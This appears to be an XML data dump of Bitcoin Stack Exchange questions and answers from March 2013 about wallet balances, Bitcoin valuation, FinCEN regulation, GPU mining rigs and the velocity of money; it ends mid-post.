  <row Id="8615" PostTypeId="1" CreationDate="2013-03-22T21:06:38.460" Score="-1" ViewCount="721" Body="&lt;p&gt;Yesterday i baught 1 bitcoin and i got a confirmation email that the amount was send to my wallet...only my wallet shows 0.00 balance!...i did install the bitcoin client after i purchased my bitcoin...is that the problem?...&#xA;My bitcoin client is fully syncronized with the network and running...only my balance shows 0.00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it still possible to transfer my bitcoins to my wallet even if the client was installed after i did my bitcoins purchase?...if so, how can this be done?...&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2013-03-22T21:52:30.963" Title="Zero balance showing in Bitcoin client" Tags="|balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8616" PostTypeId="1" CreationDate="2013-03-22T21:42:17.107" Score="3" ViewCount="738" Body="&lt;p&gt;Bare with me for a moment during this thought experiment. Currently, there is about $1.18 trillion US dollars in &lt;a href=&quot;http://www.federalreserve.gov/faqs/currency_12773.htm&quot; rel=&quot;nofollow&quot;&gt;circulation&lt;/a&gt; at the moment. With that said, my one dollar bill currently represents about 1.18 trillionth of the US economy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#How_long_will_it_take_to_generate_all_the_coins.3F&quot; rel=&quot;nofollow&quot;&gt;estimated&lt;/a&gt; that the last block to generate coins will be generated in the year 2140. At that time, there will be about 21 million bitcoins in circulation. And thereby, my one bitcoin would represent about one 21-millionth of the bitcoin economy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's say the following were true today:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoins have been completely generated&lt;/li&gt;&#xA;&lt;li&gt;There is about 21 million bitcoins in circulation&lt;/li&gt;&#xA;&lt;li&gt;There is about $1.18 trillion US dollars in circulation&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is as widely accepted as a form of currency as the US dollar&lt;/li&gt;&#xA;&lt;li&gt;The strength of the US dollar is on par with Bitcoin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Due to the large amount of circulated dollars compared to the amount of circulated bitcoin, can we assume that 1 BTC would be similarly valued at one 21-millionth of the $1.18 trillion circulated US dollars? This would &lt;a href=&quot;http://www.wolframalpha.com/input/?i=usd+currency+in+circulation+%2F+21+million&quot; rel=&quot;nofollow&quot;&gt;equate&lt;/a&gt; to around $56,000. I know a lot is being assumed here, but does anyone see any major flaws in this logic?&lt;/p&gt;&#xA;" OwnerUserId="3517" LastEditorUserId="3517" LastEditDate="2013-03-23T04:42:22.140" LastActivityDate="2013-03-23T04:42:22.140" Title="What would be the value of Bitcoin if coin generation was complete and Bitcoin was strongly accepted today?" Tags="|economic-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8617" PostTypeId="2" ParentId="8614" CreationDate="2013-03-22T21:49:25.670" Score="1" Body="&lt;p&gt;The volume at the top (the 60117 in your example) is total number of bitcoins traded in past 24hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what you're talking about with the other stuff.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2013-03-22T21:49:25.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8618" PostTypeId="2" ParentId="8615" CreationDate="2013-03-22T21:52:30.963" Score="2" Body="&lt;p&gt;if you installed your client after you bought the coin... then which address did you supply for receipt of your coin? if the address you gave to the seller is not in your wallet, then it won't show up there...&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2013-03-22T21:52:30.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8619" PostTypeId="2" ParentId="8616" CreationDate="2013-03-22T21:56:43.513" Score="2" Body="&lt;p&gt;If it so happens that bitcoins are as widely accepted as USD are today, then yes that's a roughly reasonable estimate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might enjoy the following link for some more thoughts along these lines:&#xA;&lt;a href=&quot;http://falkvinge.net/2013/03/06/the-target-value-for-bitcoin-is-not-some-50-or-100-it-is-100000-to-1000000/&quot; rel=&quot;nofollow&quot;&gt;http://falkvinge.net/2013/03/06/the-target-value-for-bitcoin-is-not-some-50-or-100-it-is-100000-to-1000000/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(One side note: just because new bitcoins are slated to stop being created in 2140, that doesn't mean no more new blocks will be created. Blocks are essential to record transactions, and they'll continue being appended to the blockchain even after the bounty drops to 0.)&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2013-03-22T21:56:43.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8620" PostTypeId="2" ParentId="8611" CreationDate="2013-03-22T22:02:24.543" Score="6" Body="&lt;p&gt;The new FinCEN regulations are quite clear that the term &amp;quot;create&amp;quot; includes currencies that people &amp;quot;obtain by their own computing or manufacturing effort&amp;quot;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A final type of convertible virtual currency activity involves a de-centralized convertible virtual currency (1) that has no central repository and no single administrator, and (2) &lt;strong&gt;that persons may obtain by their own computing or manufacturing effort&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A person that creates units of this convertible virtual currency and uses it to purchase real or virtual goods and services is a user of the convertible virtual currency and not subject to regulation as a money transmitter. By contrast, a person that creates units of convertible virtual currency and sells those units to another person for real currency or its equivalent is engaged in transmission to another location and is a money transmitter.&#xA;In addition, a person is an exchanger and a money transmitter if the person accepts such de-centralized convertible virtual currency from one person and transmits it to another person as part of the acceptance and transfer of currency, funds, or other value that substitutes for currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And, if by some chance you still think it's ambiguous and perhaps &amp;quot;mining&amp;quot; and &amp;quot;creating&amp;quot; aren't the same thing, it then says this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;How a person engages in &amp;quot;obtaining&amp;quot; a virtual currency may be described using any number of other terms, such as &amp;quot;earning,&amp;quot; &amp;quot;harvesting,&amp;quot; &amp;quot;&lt;strong&gt;mining&lt;/strong&gt;,&amp;quot; &amp;quot;&lt;strong&gt;creating&lt;/strong&gt;,&amp;quot; &amp;quot;auto-generating,&amp;quot; &amp;quot;manufacturing,&amp;quot; or &amp;quot;purchasing,&amp;quot; depending on the details of the specific virtual currency model involved. For purposes of this guidance, the label applied to a particular process of obtaining a virtual currency is not material to the legal characterization under the BSA of the process or of the person engaging in the process.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-03-22T22:59:43.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8621" PostTypeId="1" AcceptedAnswerId="8628" CreationDate="2013-03-22T22:33:10.100" Score="3" ViewCount="712" Body="&lt;p&gt;I noticed pictures of some mining rigs that appeared to show GPUs hooked up to cables going to a mother board and not using pci slots. What are these cables called and how can I use them to increase the number of cards I have on one board?&lt;/p&gt;&#xA;" OwnerUserId="2312" LastEditorUserId="5406" LastEditDate="2016-02-21T09:12:02.673" LastActivityDate="2016-02-21T09:12:02.673" Title="How do I mine with more GPU's than my motherboard has slots for?" Tags="|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8622" PostTypeId="2" ParentId="8616" CreationDate="2013-03-22T22:41:02.560" Score="1" Body="&lt;p&gt;You are forgeting the rest of the world, bitcoin isn't just for the US.  You are also assuming that the current number of USD in circulation will be the same in 2140 when bitcoin maxes out.  In all probability, if the dollar still exists at all then, the dollar supply will have been inflated somewhere just shy of infinity. You are also only considering M0 dollar supply, if you include M1, M2 and the rest then the supply of USD is 10X your number.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short $56,000 / btc is a massive *&lt;em&gt;under&lt;/em&gt;*estimate.&lt;/p&gt;&#xA;" OwnerUserId="3519" LastActivityDate="2013-03-22T22:41:02.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8623" PostTypeId="2" ParentId="8486" CreationDate="2013-03-22T23:49:51.427" Score="0" Body="&lt;p&gt;I would argue that mining pool participants don't have to worry, because they are not actually mining (creating Bitcoins) - only performing a computational service as a subcontractor to the mining pool operator, namely computing hashes.  (This is illustrated by the fact that a pool participant gets paid for their shares regardless of whether their own computer actually found a nonce whose hash had sufficient 0's to qualify as a new block at the current difficulty.)  The only entity which could be said to be &quot;creating Bitcoins&quot; would be the mining pool operator, since they are the only entity that knows the private key needed to claim the actual block reward on the newly mined blocks.  Then they just distribute a &quot;contracting fee&quot; or payout to the pool participants, in exchange for their help producing hashes.  Thus, a pool participant is not creating Bitcoin, only being paid for a computational service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caveats: IANAL and I'm not currently mining myself (neither solo nor pool).&lt;/p&gt;&#xA;" OwnerUserId="2640" LastActivityDate="2013-03-22T23:49:51.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8624" PostTypeId="2" ParentId="8590" CreationDate="2013-03-23T00:00:01.460" Score="1" Body="&lt;p&gt;Currently there is no such option, hence the difference in price you see. Bitinstant used to offer the service I believe, but now it's only offered as a withdrawal option.&lt;/p&gt;&#xA;" OwnerUserId="3210" LastActivityDate="2013-03-23T00:00:01.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8625" PostTypeId="1" CreationDate="2013-03-23T01:23:54.147" Score="5" ViewCount="256" Body="&lt;p&gt;There are several money order laws that apply to merchants who accept them.   Bitcoin seems to have properties of a money order, but also some aspects of value that are driven by demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a clear and reasonable explanation of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How do Bitcoins compare to (and differ from) Money Orders?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What aspects of laws that apply to Money Orders are likely to also apply to Bitcoin?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm most interested in US,  UK, and Australia, but any links would be beneficial.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-06-09T13:28:28.223" LastActivityDate="2014-06-09T13:28:28.223" Title="What aspects of Money Order laws will apply to merchants who use Bitcoin?" Tags="|legal|value|money|aml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8626" PostTypeId="2" ParentId="8625" CreationDate="2013-03-23T02:16:12.577" Score="1" Body="&lt;p&gt;In the U.S., FinCEN just determined that decentralized virtual currencies are not like money orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Money orders are the mechanism enabling the moving of currency or value that serves as currency from one person or location to another person or different location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bitcoins for making a purchase from a merchant is not the same as moving currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if instead of providing goods or services the merchant instead delivers currency elsewhere, then that would be transmitting money and in the U.S. State laws specify the restrictions on money transmitters.  FinCEN requires that a money transmitter register a Money Service Business (MSB) and keep records according to guidelines.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-23T02:16:12.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8627" PostTypeId="2" ParentId="1895" CreationDate="2013-03-23T02:18:52.760" Score="-1" Body="&lt;p&gt;There is a design specification (but not yet working code) for &lt;a href=&quot;http://anonymint.org&quot; rel=&quot;nofollow&quot;&gt;AnonyMint&lt;/a&gt; a.k.a. AnonyCoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Claims to fix what are claimed to be fatal flaws in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: the &lt;a href=&quot;http://anonymint.org/#Stability_of_Value&quot; rel=&quot;nofollow&quot;&gt;algorithm for the stability of value&lt;/a&gt; has been added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I am the designer and I designed it in one day, after learning from scratch about Bitcoin the previous day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anonymously downvoting because you think something is a threat to Bitcoin is irrational, because the best way to protect the future of Bitcoin is to enumerate and improve its weakness. However, the schedule of &lt;a href=&quot;https://en.bitcoin.it/wiki/Prohibited_changes&quot; rel=&quot;nofollow&quot;&gt;Bitcoin 's debasement is non-negotiable&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anonymously downvoting because this is not yet a released product is a mockery considering my specification is much superior to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88467.0&quot; rel=&quot;nofollow&quot;&gt;TimeKoin's incomprehensible description&lt;/a&gt;, yet its answer above has an upvote. And the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=134179.0&quot; rel=&quot;nofollow&quot;&gt;comprehensive list&lt;/a&gt; includes many alternatives in various states of development.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="3441" LastEditDate="2013-03-24T14:00:54.220" LastActivityDate="2013-03-24T14:00:54.220" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8628" PostTypeId="2" ParentId="8621" CreationDate="2013-03-23T08:53:37.153" Score="1" Body="&lt;p&gt;They may have been using an adaptor cable which allows use of different slots, such as the one pictured here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=66070.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=66070.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During mining the data going to and from the graphics card isn't nearly as much as when the card is used for gaming, so there's no substantial deterioration in mining output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do remember reading about at least one case where circuitry was overloaded doing this (ie it burnt out), possibly due to a faulty cable, but also possibly because graphics cards aren't designed to work that way.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-03-23T08:53:37.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8629" PostTypeId="1" CreationDate="2013-03-23T10:41:36.790" Score="-1" ViewCount="292" Body="&lt;p&gt;From my observations of the BitCoin network, the increase in overall network hashrate does not seem to improve the network in any way other than to make an attack more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering however if one could devise a mining algorithm that improves some aspect of the network.  For example, could one device an algorithm that speeds up the confirmation rate as more compute resources are added?   What are the constraints against a higher confirmation rate?&lt;/p&gt;&#xA;" OwnerUserId="3523" LastEditorUserId="5406" LastEditDate="2017-06-17T23:47:09.260" LastActivityDate="2017-06-17T23:47:09.260" Title="What modification of the proof of work algorithm will speed up confirmations as the network hashrate increases?" Tags="|block-interval|transaction-capacity|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-05T10:56:18.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="8630" PostTypeId="2" ParentId="8606" CreationDate="2013-03-23T13:06:25.137" Score="-1" Body="&lt;p&gt;And as BTC represent the potential for a seachange historical event in respect to money and therefore politics, wars, culture, etc, the powers that control trillions in concentrated wealth in all asset classes, acquired by controlling money printing are threatened.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best start prepariing for what would seem an eventuality.&lt;/p&gt;&#xA;" OwnerUserId="3526" LastActivityDate="2013-03-23T13:06:25.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8631" PostTypeId="2" ParentId="5592" CreationDate="2013-03-23T13:08:48.480" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed#Graph_of_Percentage_of_Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow&quot;&gt;graph is a histogram&lt;/a&gt; showing the percentage of total Days Destroyed from the measured period for each block. Thus it is a distribution of dormancy over the period, since block numbers are ascending forward in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To arrive at the percentage in your example, you need to divide the Days Destroyed for that example block by the total of the Days Destroyed for the period being graphed.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2013-03-23T13:08:48.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8632" PostTypeId="2" ParentId="4254" CreationDate="2013-03-23T13:40:50.397" Score="0" Body="&lt;p&gt;The powers that be could theoretically accomplish horrendous volatility of the value of Bitcoins by running the price up and then selling. Thus rendering Bitcoin unsuitable as currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If speculators think they can game this by market-timing the manipulations better than an insider such as JP Morgan, I suggest they prove in the futures markets for gold or silver to receive their reality-check spanking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;http://www.financialsensearchive.com/Experts/2004/AustinFitts.html&quot; rel=&quot;nofollow&quot;&gt;documented by Catherine Austin Fitts&lt;/a&gt; former Managing Director and Member of the Board of Directors of the Wall Street investment bank, Dillon, Read &amp;amp; Co., Inc.; Assistant Secretary of Housing/Federal Housing Commissioner at HUD in the first Bush Administration; and President and Founder of Hamilton Securities Group, Inc. . . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;. . . TPTB have access to at least &lt;a href=&quot;http://solari.com/blog/4-trillion-missing-whats-the-action/&quot; rel=&quot;nofollow&quot;&gt;$4 trillion &quot;black budget&quot;&lt;/a&gt; off-balance sheet funds that need no public oversight to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it probably wouldn't require any where near a majority share of the coins to create debilitating volatility. Remember when it fell from $17 to 1 cent briefly because of one account hacked and sold.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorDisplayName="user1586" LastEditDate="2014-02-12T00:23:55.440" LastActivityDate="2014-02-12T00:23:55.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8633" PostTypeId="2" ParentId="8606" CreationDate="2013-03-23T14:27:29.550" Score="4" Body="&lt;p&gt;One of the questions you linked to has the wrong chosen answer— Bitcoin can also be destroyed by a sufficiently deep pocketed attacker which corners sufficient marketshare of coins to enable causing debilitating volatility. Probably won't require any where near majority share to create volatility. I added my claim at that question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes Bitcoin can also be destroyed if an attacker cornered sufficient Proof-of-Work to disrupt the system. Even if developers release new protocols after the attack, there will be chaos as to which fork to trust and reputation will be shattered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might not even require 51%, as the minority share attacker could cause many transactions to be randomly delayed, which is also potentially debilitating to a currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the prior answer points out, one the keys to hardening a P2P currency is to make the Proof-of-Work more difficult to corner. But that alone is not sufficient, as the volatility of the value is another attack vector. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1895/what-bitcoin-esque-alternatives-are-there/8627#8627&quot;&gt;I am contemplating solutions&lt;/a&gt; to harden against both classes of vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin might even be attackable simply by talking and enumerating the flaws in it. We could see a crash at any time if enough people become concerned. So public opinion is another attack vector.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-03-23T14:33:22.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8634" PostTypeId="2" ParentId="6025" CreationDate="2013-03-23T14:54:24.537" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://cryptonomics.org/2012/11/10/the-velocity-and-dormancy-of-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Velocity and Dormancy of Bitcoin&lt;/a&gt;. It contains important observations and links to a research paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the comment I added to the bottom of that blog article, which should appear if the owner of that blog accepts my comment, which is quoted below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You assume that only “change” needs to be removed from the total of&#xA;  transactions when computing the velocity. Transfers to self in and out&#xA;  of the system also must be removed, because only the fee in money&#xA;  transfers is part of the GDP when the transfer is not to another&#xA;  person for a real good or service. Ditto your section making the&#xA;  erroneous claim that transfers in bitcoins external to the main&#xA;  database should be factored into the velocity without regard to&#xA;  whether they are transfers to pay for a good or service.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I find it unfathomable that every Bitcoin owner is spending his entire&#xA;  balance 7 times every quarter. This would require he has the means to&#xA;  receive bitcoins 7 times every quarter from someone else paying for&#xA;  goods and services. Such a Bitcoin economy does not exist.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If data is analyzed more deeply, perhaps with the aid of data from the&#xA;  FX services, I am confident that vast majority of transactions would&#xA;  be transfers buying in and cashing out of Bitcoin, or moving money to&#xA;  self across borders and through exchange vehicles such as real estate,&#xA;  etc. There are not that many merchants accepting Bitcoin. It is&#xA;  fathomable that there might be a significant quantity of illicit or&#xA;  black market transfers, since Bitcoin aids anonymity. However, even if&#xA;  so, such markets can not likely scale to velocity of fiat for the&#xA;  mainstream population. Also FinCEN is preparing to crack down on this&#xA;  market sector.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As you noted, the problem with computing dormancy in Bitcoin is there&#xA;  is no way to know which are transfers to self. Perhaps one could make&#xA;  the reasonable assumption that large value transactions that paid a&#xA;  significant transaction fee are not likely transfers to self, since&#xA;  one would be motivated in that case to likely tradeoff speed of&#xA;  verification for cost.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Since FinCEN will be regulating transfers (to self or other party),&#xA;  but not transactions in exchange for goods and services, users do not&#xA;  have an incentive to reveal the data we need.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So perhaps the only metric that is reliable is your weighted-average&#xA;  of dormancy relative to itself, not as an indication of relative&#xA;  velocity to those computed with GDP. I think that may have been your&#xA;  intended point, but IMO you did not elucidate it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Your weighted-average of dormancy is not &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Days Destroyed&lt;/a&gt;—&#xA;  the latter weights the past dormancy of coins that have been&#xA;  transferred over any chosen period, whereas yours is a snapshot of the&#xA;  current dormancy of coins. The histogram of the percentage of Days&#xA;  Destroyed graphs distribution of dormancy over the measured period.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Update: I &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1163/how-can-determine-the-fundamental-theoretical-value-of-the-bitcoin-based-on-stea/8641#8641&quot;&gt;expounded on why the 7 velocity is not likely&lt;/a&gt; at this time for Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-03-23T17:01:21.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8635" PostTypeId="2" ParentId="4172" CreationDate="2013-03-23T15:08:20.373" Score="4" Body="&lt;p&gt;The Money supply with Bitcoin is designed to increase in value.  Effectively the money supply grows by allowing the prices of goods and services to fall to fit the amount of Bitcoin required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes this encourages saving.  But saving increases the value of Bitcoin, making prices fall further, until prices are so low people are willing to spend their savings/wages.  People are also (at some point) willing to take lower wages, because in effect those wages are more valuable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, people are comfortable with their savings, and they invest their savings, and spend their savings.  Loans from banks are less necessary, because the wealth of people in general has increased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is designed for this process by being easily divisible to 8 decimal places.  You can literally give someone .00000001 of a Bitcoin.  For the foreseeable future, Bitcoin can expand in value to meet the needs of any Economy.&lt;/p&gt;&#xA;" OwnerUserId="3528" LastActivityDate="2013-03-23T15:08:20.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8637" PostTypeId="1" AcceptedAnswerId="8734" CreationDate="2013-03-23T16:08:31.247" Score="1" ViewCount="9862" Body="&lt;p&gt;The changebars graph at &lt;a href=&quot;http://bitcoinity.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinity.org&lt;/a&gt; has red and green bars. Some of them below and some above zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is their meaning?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If they are above zero&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;and are green&lt;/li&gt;&#xA;&lt;li&gt;and are red&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;if they are below zero&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;and are green&lt;/li&gt;&#xA;&lt;li&gt;and are red?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a wikipedia article about that kind of graph? What would the search term be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the graph is explained here &lt;a href=&quot;https://i.stack.imgur.com/UbXtB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/UbXtB.png&lt;/a&gt; but not the red and green bars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3533" LastEditorUserId="1307" LastEditDate="2013-03-26T20:39:35.797" LastActivityDate="2020-12-17T09:21:13.993" Title="what do red and green bars at bitcoinity.org mean?" Tags="|charts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8638" PostTypeId="1" CreationDate="2013-03-23T16:18:10.120" Score="2" ViewCount="441" Body="&lt;p&gt;Ok, if I want to buy something that is $8 in American dollars and use a Bitcoin that is worth an odd value in American dollars...like $17 for instance. Then what happens? I end up with a deciminal point version of a Bitcoin? How does an individual keep track of Bitcoin money when it translates into too many decimal point locations? Doesnt Bitcoin have 8 or 10 decimal places? What happens if you buy something from a country where money is worth very little? Could you have a bitcoin account with a long decimal point fractional value?&lt;/p&gt;&#xA;" OwnerUserId="3534" LastActivityDate="2013-03-28T03:20:26.110" Title="So exactly what is the value of a Bitcoin in relation to the American dollar?" Tags="|exchanges|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8639" PostTypeId="1" CreationDate="2013-03-23T16:30:49.497" Score="3" ViewCount="641" Body="&lt;p&gt;If Bitcoin was the worldwide money system...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that you work and save your bitcoins, to purchase something big like a house or car, but the value fluctuated like crazy, as the stock market does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats to say you wont be rich today, but broke tomorrow? Today you could buy your necessities but tomorrow you would be back to zero?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can individuals in a society live like that? You would revert back to the caveman system of bartering hard goods for goods in trading because the concept of money would be too erratic.&lt;/p&gt;&#xA;" OwnerUserId="3534" LastEditorUserId="105" LastEditDate="2013-11-02T07:26:11.633" LastActivityDate="2013-11-02T07:26:11.633" Title="How can bitcoins be used for daily currency if their value changes erratically?" Tags="|price-volatility|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8640" PostTypeId="2" ParentId="8638" CreationDate="2013-03-23T16:51:41.897" Score="1" Body="&lt;p&gt;Bitcoin can be split into smaller units which I believe are called &quot;Satoshi's&quot; but in practice things are not denominated in satoshi's but are instead just fractional amounts bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have (and send) bitcoins in fractional values with no consequence.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2306" LastEditDate="2013-03-28T01:34:21.643" LastActivityDate="2013-03-28T01:34:21.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8641" PostTypeId="2" ParentId="1163" CreationDate="2013-03-23T16:53:16.443" Score="3" Body="&lt;p&gt;As I &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6025/what-research-papers-cover-bitcoins-impact-on-central-banks-velocity-of-money/8634#8634&quot;&gt;explained in another answer&lt;/a&gt;, we can not meaningfully use measures of dormancy from P2P currencies in &lt;em&gt;Quantity Theory of Money&lt;/em&gt; comparisons relative to GDP (or in Visa's case total &lt;code&gt;Q&lt;/code&gt; over the period).&lt;/p&gt;&#xA;&lt;p&gt;I also explained in that linked answer why it is unlikely that Bitcoin would obtain the same velocity multiple of 8 per quarter as with fiat.&lt;/p&gt;&#xA;&lt;p&gt;Expounding, in order to get that many round-trips per quarter, requires the &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_effect&quot; rel=&quot;nofollow noreferrer&quot;&gt;network effects&lt;/a&gt; of a wide diversity of available goods and services which only comes with economies-of-scale. So it is a chicken-and-egg dilemma.&lt;/p&gt;&#xA;&lt;p&gt;Based on that, the true quarterly velocity of Bitcoin may be on the order of a intuitive guess of 1, so with 10% of the a $200bln online economy (as proposed by the prior answer), with 21 millions coins, I calculate:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;$200bln × 0.1 ÷ (4 × 1 x 21 million) = $238&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;A &lt;strong&gt;lower velocity means a higher FX price&lt;/strong&gt; for Bitcoins, but a low velocity also probably means low adoption for transacting, thus I am skeptical of the 10% 